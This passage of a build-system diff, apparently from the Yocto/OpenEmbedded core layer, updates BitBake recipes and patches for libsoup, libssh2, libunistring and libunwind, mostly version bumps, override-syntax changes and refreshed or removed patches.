-# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
-PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
-
-EXTRA_OEMESON_append = " -Dvapi=disabled -Dtls_check=false"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-# When built without gnome support, libsoup-2.4 will contain only one shared lib
-# and will therefore become subject to renaming by debian.bbclass. Prevent
-# renaming in order to keep the package name consistent regardless of whether
-# gnome support is enabled or disabled.
-DEBIAN_NOAUTONAME_${PN} = "1"
-
-# glib-networking is needed for SSL, proxies, etc.
-RRECOMMENDS_${PN} = "glib-networking"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb
new file mode 100644
index 0000000000..9b3a57dab0
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb
@@ -0,0 +1,46 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f0a427656e5fe19e1df71c107e88dfa1b2e673c25c547b7823b6018b40d01159"
+
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
+
+UPSTREAM_CHECK_REGEX = "libsoup-(?P<pver>2(\.(?!99)\d+)+)\.tar"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+
+EXTRA_OEMESON:append = " -Dvapi=disabled -Dtls_check=false"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+# When built without gnome support, libsoup-2.4 will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libsoup/libsoup_3.0.3.bb b/meta/recipes-support/libsoup/libsoup_3.0.3.bb
new file mode 100644
index 0000000000..d169810e27
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup_3.0.3.bb
@@ -0,0 +1,44 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl nghttp2"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
+SRC_URI[sha256sum] = "5165b04dadae3027e9a2882d868694b4586affd778c194982ae4de2373d2e25e"
+
+PROVIDES = "libsoup-3.0"
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+
+EXTRA_OEMESON:append = " -Dvapi=disabled -Dtls_check=false"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+# When built without gnome support, libsoup will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch b/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch
new file mode 100644
index 0000000000..b1204e49eb
--- /dev/null
+++ b/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch
@@ -0,0 +1,44 @@
+From f6abce5ba41a412a247250dcd80e387e53474466 Mon Sep 17 00:00:00 2001
+From: Your Name <you@example.com>
+Date: Mon, 28 Dec 2020 02:08:03 +0000
+Subject: [PATCH] Don't let host enviroment to decide if a test is build
+
+test ssh2.sh need sshd, for cross compile, we need it on target, so
+don't use SSHD on host to decide weither to build a test
+
+Upstream-Status: Inappropriate[oe specific]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ tests/Makefile.am | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index dc0922f..6cbc35d 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -1,16 +1,12 @@
+ AM_CPPFLAGS = -I$(top_srcdir)/src -I$(top_srcdir)/include -I$(top_builddir)/src
+ LDADD = ../src/libssh2.la
+
+-if SSHD
+ noinst_PROGRAMS = ssh2
+ ssh2_SOURCES = ssh2.c
+-endif
+
+ ctests = simple$(EXEEXT)
+ TESTS = $(ctests) mansyntax.sh
+-if SSHD
+ TESTS += ssh2.sh
+-endif
+ check_PROGRAMS = $(ctests)
+
+ TESTS_ENVIRONMENT = SSHD=$(SSHD) EXEEXT=$(EXEEXT)
+@@ -38,4 +34,4 @@ if OPENSSL
+ # EXTRA_DIST += test_public_key_auth_succeeds_with_correct_encrypted_ed25519_key.c
+ # EXTRA_DIST += test_public_key_auth_succeeds_with_correct_ed25519_key_from_mem.c
+ EXTRA_DIST += test_public_key_auth_succeeds_with_correct_rsa_openssh_key.c
+-endif
+\ No newline at end of file
++endif
diff --git a/meta/recipes-support/libssh2/files/run-ptest b/meta/recipes-support/libssh2/files/run-ptest
new file mode 100644
index 0000000000..9e2fce2d24
--- /dev/null
+++ b/meta/recipes-support/libssh2/files/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd tests
+# omit ssh2.sh until https://github.com/libssh2/libssh2/issues/630 is fixed
+for test in simple mansyntax.sh
+do
+ ./../test-driver --test-name $test --log-file ../$test.log --trs-file ../$test.trs --color-tests no --enable-hard-errors yes --expect-failure no -- ./$test
+done
diff --git a/meta/recipes-support/libssh2/libssh2_1.10.0.bb b/meta/recipes-support/libssh2/libssh2_1.10.0.bb
new file mode 100644
index 0000000000..072d6819c0
--- /dev/null
+++ b/meta/recipes-support/libssh2/libssh2_1.10.0.bb
@@ -0,0 +1,50 @@
+SUMMARY = "A client-side C library implementing the SSH2 protocol"
+HOMEPAGE = "http://www.libssh2.org/"
+SECTION = "libs"
+
+DEPENDS = "zlib"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3e089ad0cf27edf1e7f261dfcd06acc7"
+
+SRC_URI = "http://www.libssh2.org/download/${BP}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI:append:ptest = " file://0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch"
+
+SRC_URI[sha256sum] = "2d64e90f3ded394b91d3a2e774ca203a4179f69aebee03003e5a6fa621e41d51"
+
+inherit autotools pkgconfig ptest
+
+EXTRA_OECONF += "\
+ --with-libz \
+ --with-libz-prefix=${STAGING_LIBDIR} \
+ "
+
+# only one of openssl and gcrypt could be set
+PACKAGECONFIG ??= "openssl"
+PACKAGECONFIG[openssl] = "--with-crypto=openssl --with-libssl-prefix=${STAGING_LIBDIR}, , openssl"
+PACKAGECONFIG[gcrypt] = "--with-crypto=libgcrypt --with-libgcrypt-prefix=${STAGING_EXECPREFIXDIR}, , libgcrypt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# required for ptest on documentation
+RDEPENDS:${PN}-ptest = "man-db openssh util-linux-col"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+do_compile_ptest() {
+ sed -i "/\$(MAKE) \$(AM_MAKEFLAGS) check-TESTS/d" tests/Makefile
+ oe_runmake check
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -m 0755 ${S}/test-driver ${D}${PTEST_PATH}/
+ cp -rf ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/mansyntax.sh ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/ssh2.sh ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/etc ${D}${PTEST_PATH}/tests/
+ mkdir -p ${D}${PTEST_PATH}/docs
+ cp -r ${S}/docs/* ${D}${PTEST_PATH}/docs/
+}
diff --git a/meta/recipes-support/libunistring/libunistring/0001-Make-gl_INIT_PACKAGE-work-with-Automake-1.16.4.patch b/meta/recipes-support/libunistring/libunistring/0001-Make-gl_INIT_PACKAGE-work-with-Automake-1.16.4.patch
new file mode 100644
index 0000000000..d8424f28d4
--- /dev/null
+++ b/meta/recipes-support/libunistring/libunistring/0001-Make-gl_INIT_PACKAGE-work-with-Automake-1.16.4.patch
@@ -0,0 +1,57 @@
+From 15e4365267e316f15222b8bf9f0a7cd0db231e9c Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Sun, 8 Aug 2021 01:58:42 +0200
+Subject: [PATCH] Make gl_INIT_PACKAGE work with Automake >= 1.16.4.
+
+Reported and analyzed by Nicole Mazzuca <mazzucan@outlook.com> in
+<https://lists.gnu.org/archive/html/bug-libunistring/2021-08/msg00002.html>.
+
+* m4/init-package-version.m4 (gl_INIT_PACKAGE): Use a new macro
+gl_INIT_EMPTY.
+(gl_INIT_DUMMY): Expand to empty in two steps, via a new macro
+gl_INIT_DUMMY2.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ ChangeLog | 10 ++++++++++
+ m4/init-package-version.m4 | 12 ++++++++----
+ 2 files changed, 18 insertions(+), 4 deletions(-)
+
+diff --git a/m4/init-package-version.m4 b/m4/init-package-version.m4
+index f131a84..a26b1ab 100644
+--- a/m4/init-package-version.m4
++++ b/m4/init-package-version.m4
+@@ -1,5 +1,5 @@
+-# init-package-version.m4 serial 1 (gettext-0.18)
+-dnl Copyright (C) 1992-2009 Free Software Foundation, Inc.
++# init-package-version.m4 serial 2
++dnl Copyright (C) 1992-2021 Free Software Foundation, Inc.
+ dnl This file is free software, distributed under the terms of the GNU
+ dnl General Public License. As a special exception to the GNU General
+ dnl Public License, this file may be distributed as part of a program
+@@ -77,7 +77,7 @@ AC_DEFUN([gl_INIT_PACKAGE],
+ m4_bpatsubst(m4_dquote(
+ m4_defn([AM_INIT_AUTOMAKE])),
+ [AC_PACKAGE_NAME], [gl_INIT_DUMMY])),
+- [AC_PACKAGE_TARNAME], [gl_INIT_DUMMY])),
++ [AC_PACKAGE_TARNAME], [gl_INIT_EMPTY])),
+ [AC_PACKAGE_VERSION], [gl_INIT_DUMMY])
+ [AC_SUBST([PACKAGE], [$1])
+ AC_SUBST([VERSION], [$2])
+@@ -85,7 +85,11 @@ AC_DEFUN([gl_INIT_PACKAGE],
+ m4_define([AM_INIT_AUTOMAKE],
+ m4_defn([gl_RPL_INIT_AUTOMAKE]))
+ ])
+-m4_define([gl_INIT_DUMMY], [])
++m4_define([gl_INIT_EMPTY], [])
++dnl Automake 1.16.4 no longer accepts an empty value for gl_INIT_DUMMY.
++dnl But a macro that later expands to empty works.
++m4_define([gl_INIT_DUMMY], [gl_INIT_DUMMY2])
++m4_define([gl_INIT_DUMMY2], [])
+ AC_DEFUN([gl_RPL_INIT_AUTOMAKE], [
+ m4_ifval([$2],
+ [m4_fatal([After gl_INIT_PACKAGE, the two-argument form of AM_INIT_AUTOMAKE cannot be used.])])
+--
+2.20.1
+
diff --git a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch b/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 9e8ce2270d..0000000000
--- a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 30562065ba9e4c238e76100b5f9f0c5add0e635b Mon Sep 17 00:00:00 2001
-From: Jackie Huang <jackie.huang@windriver.com>
-Date: Tue, 5 Dec 2017 09:30:36 +0200
-Subject: [PATCH] remove the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, libunistring will be built without
-iconv support and will cause guild-native configure fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
----
- gnulib-m4/iconv.m4 | 23 -----------------------
- 1 file changed, 23 deletions(-)
-
-diff --git a/gnulib-m4/iconv.m4 b/gnulib-m4/iconv.m4
-index b33ecd0..73b6aa1 100644
---- a/gnulib-m4/iconv.m4
-+++ b/gnulib-m4/iconv.m4
-@@ -165,29 +165,6 @@ AC_DEFUN([AM_ICONV_LINK],
- }
- }
- #endif
-- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
-- provided. */
-- {
-- /* Try standardized names. */
-- iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP");
-- /* Try IRIX, OSF/1 names. */
-- iconv_t cd2 = iconv_open ("UTF-8", "eucJP");
-- /* Try AIX names. */
-- iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP");
-- /* Try HP-UX names. */
-- iconv_t cd4 = iconv_open ("utf8", "eucJP");
-- if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1)
-- && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1))
-- result |= 16;
-- if (cd1 != (iconv_t)(-1))
-- iconv_close (cd1);
-- if (cd2 != (iconv_t)(-1))
-- iconv_close (cd2);
-- if (cd3 != (iconv_t)(-1))
-- iconv_close (cd3);
-- if (cd4 != (iconv_t)(-1))
-- iconv_close (cd4);
-- }
- return result;
- ]])],
- [am_cv_func_iconv_works=yes], ,
---
-2.4.0
-
diff --git a/meta/recipes-support/libunistring/libunistring_0.9.10.bb b/meta/recipes-support/libunistring/libunistring_0.9.10.bb
index 97fac4ecfa..0692bbcb44 100644
--- a/meta/recipes-support/libunistring/libunistring_0.9.10.bb
+++ b/meta/recipes-support/libunistring/libunistring_0.9.10.bb
@@ -18,10 +18,11 @@ LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://README;beginline=45;endline=65;md5=08287d16ba8d839faed8d2dc14d7d6a5 \
file://doc/libunistring.texi;md5=287fa6075f78a3c85c1a52b0a92547cd \
"
+DEPENDS = "gperf-native"
SRC_URI = "${GNU_MIRROR}/libunistring/libunistring-${PV}.tar.gz \
- file://iconv-m4-remove-the-test-to-convert-euc-jp.patch \
file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
+ file://0001-Make-gl_INIT_PACKAGE-work-with-Automake-1.16.4.patch \
"
SRC_URI[md5sum] = "0d3274e9838396b12200f8b54ddaf43b"
SRC_URI[sha256sum] = "a82e5b333339a88ea4608e4635479a1cfb2e01aafb925e1290b65710d43f610b"
diff --git a/meta/recipes-support/libunwind/libunwind.inc b/meta/recipes-support/libunwind/libunwind.inc
index 76a1bf6246..bf74f9fa3c 100644
--- a/meta/recipes-support/libunwind/libunwind.inc
+++ b/meta/recipes-support/libunwind/libunwind.inc
@@ -4,6 +4,7 @@ HOMEPAGE = "http://www.nongnu.org/libunwind"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=2d80c8ed4062b8339b715f90fa68cc9f"
DEPENDS += "libatomic-ops"
+DEPENDS:append:libc-musl = " libucontext"
inherit autotools multilib_header
@@ -11,11 +12,11 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[lzma] = "--enable-minidebuginfo,--disable-minidebuginfo,xz"
PACKAGECONFIG[latexdocs] = "--enable-documentation, --disable-documentation, latex2man-native"
-EXTRA_OECONF_arm = "--enable-debug-frame"
-EXTRA_OECONF_armeb = "--enable-debug-frame"
-EXTRA_OECONF_aarch64 = "--enable-debug-frame"
+EXTRA_OECONF:arm = "--enable-debug-frame"
+EXTRA_OECONF:armeb = "--enable-debug-frame"
+EXTRA_OECONF:aarch64 = "--enable-debug-frame"
-do_install_append () {
+do_install:append () {
oe_multilib_header libunwind.h
}
diff --git a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch b/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
deleted file mode 100644
index 437b878365..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 599f10ac3a24e419a93f97fddbe14de01b1185ea Mon Sep 17 00:00:00 2001
-From: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Date: Tue, 13 May 2014 23:32:27 +0200
-Subject: [PATCH 1/6] Add AO_REQUIRE_CAS to fix build on ARM < v6
-
-ARM earlier than ARMv6, such as ARMv4 and ARMv5 do not provide
-optimize atomic operations in libatomic_ops. Since libunwind is using
-such operations, it should define AO_REQUIRE_CAS before including
-<atomic_ops.h> so that libatomic_ops knows it should use emulated
-atomic operations instead (even though they are obviously a lot more
-expensive).
-
-Also, while real atomic operations are all inline functions and
-therefore linking against libatomic_ops was not required, the emulated
-atomic operations actually require linking against libatomic_ops, so
-the commented AC_CHECK_LIB test in acinclude.m4 is uncommented to make
-sure we link against libatomic_ops.
-
-Signed-off-by: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Upstream-Status: Pending
-Taken from:
-https://raw.githubusercontent.com/rdnetto/teapot-buildroot/master/package/libunwind/libunwind-02-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
-
----
- acinclude.m4 | 8 +-------
- include/libunwind_i.h | 1 +
- 2 files changed, 2 insertions(+), 7 deletions(-)
-
-diff --git a/acinclude.m4 b/acinclude.m4
-index 497f7c2..9c15af1 100644
---- a/acinclude.m4
-+++ b/acinclude.m4
-@@ -22,11 +22,5 @@ fi])
- AC_DEFUN([CHECK_ATOMIC_OPS],
- [dnl Check whether the system has the atomic_ops package installed.
- AC_CHECK_HEADERS(atomic_ops.h)
--#
--# Don't link against libatomic_ops for now. We don't want libunwind
--# to depend on libatomic_ops.so. Fortunately, none of the platforms
--# we care about so far need libatomic_ops.a (everything is done via
--# inline macros).
--#
--# AC_CHECK_LIB(atomic_ops, main)
-+ AC_CHECK_LIB(atomic_ops, main)
- ])
-diff --git a/include/libunwind_i.h b/include/libunwind_i.h
-index 36cf7a1..33b4ca3 100644
---- a/include/libunwind_i.h
-+++ b/include/libunwind_i.h
-@@ -124,6 +124,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
- (pthread_mutex_unlock != NULL ? pthread_mutex_unlock (l) : 0)
-
- #ifdef HAVE_ATOMIC_OPS_H
-+# define AO_REQUIRE_CAS
- # include <atomic_ops.h>
- static inline int
- cmpxchg_ptr (void *addr, void *old, void *new)
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch b/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
index 508ed6af38..f02f13f79c 100644
--- a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
+++ b/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
@@ -1,7 +1,7 @@
-From f6866b9e4a6341c50eb1d923dbf48eca2ca40140 Mon Sep 17 00:00:00 2001
+From 0b2243f19d4ea12a2a68478a5aed503947a800af Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 22 Mar 2016 16:19:29 +0000
-Subject: [PATCH 3/6] x86: Stub out x86_local_resume()
+Subject: [PATCH] x86: Stub out x86_local_resume()
its purpose seems
to be unwinding across signal handler boundaries, which cannot happen
@@ -13,14 +13,14 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- src/x86/Gos-linux.c | 22 +---------------------
- 1 file changed, 1 insertion(+), 21 deletions(-)
+ src/x86/Gos-linux.c | 26 +-------------------------
+ 1 file changed, 1 insertion(+), 25 deletions(-)
diff --git a/src/x86/Gos-linux.c b/src/x86/Gos-linux.c
-index fb9a5e3..c25ae0c 100644
+index d448dce..c25ae0c 100644
--- a/src/x86/Gos-linux.c
+++ b/src/x86/Gos-linux.c
-@@ -284,27 +284,7 @@ x86_r_uc_addr (ucontext_t *uc, int reg)
+@@ -284,31 +284,7 @@ x86_r_uc_addr (ucontext_t *uc, int reg)
HIDDEN int
x86_local_resume (unw_addr_space_t as, unw_cursor_t *cursor, void *arg)
{
@@ -38,17 +38,18 @@ index fb9a5e3..c25ae0c 100644
- struct sigcontext *sc = (struct sigcontext *) c->sigcontext_addr;
-
- Debug (8, "resuming at ip=%x via sigreturn(%p)\n", c->dwarf.ip, sc);
+-#if !defined(__ANDROID__)
- x86_sigreturn (sc);
+-#endif
- }
- else
- {
- Debug (8, "resuming at ip=%x via setcontext()\n", c->dwarf.ip);
+-#if !defined(__ANDROID__)
- setcontext (uc);
+-#endif
- }
+ *(volatile char *)0=0;
return -UNW_EINVAL;
}
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
index edaa822be1..e58a71b741 100644
--- a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
+++ b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
@@ -1,7 +1,8 @@
-From 02919d74b1599979884f9cee466ed392d9fc4819 Mon Sep 17 00:00:00 2001
+From 24c751f9d21e892a9833e1b70a696b07872b0f7f Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 9 Jul 2016 01:07:53 +0000
-Subject: [PATCH 5/6] ppc32: Consider ucontext mismatches between glibc and
+Subject: [PATCH] ppc32: Consider ucontext mismatches between glibc and
+
musl
This helps in porting libunwind onto musl based systems
@@ -29,7 +30,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
3 files changed, 92 insertions(+), 79 deletions(-)
diff --git a/src/ppc32/Ginit.c b/src/ppc32/Ginit.c
-index ba30244..c5312d9 100644
+index 7b45455..f8d6886 100644
--- a/src/ppc32/Ginit.c
+++ b/src/ppc32/Ginit.c
@@ -48,12 +48,12 @@ uc_addr (ucontext_t *uc, int reg)
@@ -227,7 +228,7 @@ index c6ba806..b79f15c 100644
#endif
diff --git a/src/ptrace/_UPT_reg_offset.c b/src/ptrace/_UPT_reg_offset.c
-index c82d1c9..6c31baa 100644
+index b7dd3b7..bfaf756 100644
--- a/src/ptrace/_UPT_reg_offset.c
+++ b/src/ptrace/_UPT_reg_offset.c
@@ -27,6 +27,13 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
@@ -242,8 +243,5 @@ index c82d1c9..6c31baa 100644
+# undef pt_regs
+#endif
- #ifdef HAVE_ASM_PTRACE_OFFSETS_H
- # include <asm/ptrace_offsets.h>
---
-2.20.1
-
+ #ifdef HAVE_ASM_PTRACE_H
+ # include <asm/ptrace.h>
diff --git a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch b/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
index 37ae8124cc..9941612387 100644
--- a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
+++ b/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
@@ -1,7 +1,7 @@
-From 7a4fd5933cc795df85cdd85168fe54fbaec4dcec Mon Sep 17 00:00:00 2001
+From f2eae0af620925b3686410470fc6fbc66ec1dc52 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Tue, 13 Dec 2016 09:50:34 -0700
-Subject: [PATCH 6/6] Fix for X32
+Subject: [PATCH] Fix for X32
Apply patch to fix the X32 build from https://github.com/sjnewbury/x32.
@@ -13,10 +13,10 @@ Signed-off-by: Christopher Larson <chris_larson@mentor.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/x86_64/Gos-linux.c b/src/x86_64/Gos-linux.c
-index bd14234..be1cb5b 100644
+index b489329..0550005 100644
--- a/src/x86_64/Gos-linux.c
+++ b/src/x86_64/Gos-linux.c
-@@ -145,8 +145,8 @@ x86_64_sigreturn (unw_cursor_t *cursor)
+@@ -146,8 +146,8 @@ x86_64_sigreturn (unw_cursor_t *cursor)
Debug (8, "resuming at ip=%llx via sigreturn(%p)\n",
(unsigned long long) c->dwarf.ip, sc);
@@ -25,8 +25,5 @@ index bd14234..be1cb5b 100644
+ __asm__ __volatile__ ("mov %q0, %%rsp;"
+ "mov %q1, %%rax;"
"syscall"
- :: "r"(sc), "i"(SYS_rt_sigreturn)
+ :: "r"((uint64_t)sc), "i"(SYS_rt_sigreturn)
: "memory");
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch b/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
index 63b78a8a30..49985b5b3c 100644
--- a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
+++ b/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
@@ -1,4 +1,4 @@
-From 49b21f0fe5fb93b30b94cc449429fd33de0652a7 Mon Sep 17 00:00:00 2001
+From e1de5a5b42062dc02769f320c7785928b2ee0c57 Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Thu, 18 Aug 2016 14:46:32 +0100
Subject: [PATCH] If you:
@@ -28,7 +28,7 @@ Upstream-Status: Inappropriate [really need to fix gcc]
1 file changed, 4 insertions(+)
diff --git a/include/unwind.h b/include/unwind.h
-index 7cf128d..31c2871 100644
+index 93780fa..c812414 100644
--- a/include/unwind.h
+++ b/include/unwind.h
@@ -23,6 +23,10 @@ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
diff --git a/meta/recipes-support/libunwind/libunwind_1.5.0.bb b/meta/recipes-support/libunwind/libunwind_1.5.0.bb
deleted file mode 100644
index 089c4064f4..0000000000
--- a/meta/recipes-support/libunwind/libunwind_1.5.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require libunwind.inc
-
-SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
- file://0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch \
- file://0003-x86-Stub-out-x86_local_resume.patch \
- file://0004-Fix-build-on-mips-musl.patch \
- file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
- file://0006-Fix-for-X32.patch \
- "
-SRC_URI_append_libc-musl = " file://musl-header-conflict.patch"
-
-SRC_URI[md5sum] = "c6923dda0675f6a4ef21426164dc8b6a"
-SRC_URI[sha256sum] = "90337653d92d4a13de590781371c604f9031cdb50520366aa1e3a91e1efb1017"
-
-EXTRA_OECONF_append_libc-musl = " --disable-documentation --disable-tests --enable-static"
-
-# http://errors.yoctoproject.org/Errors/Details/20487/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
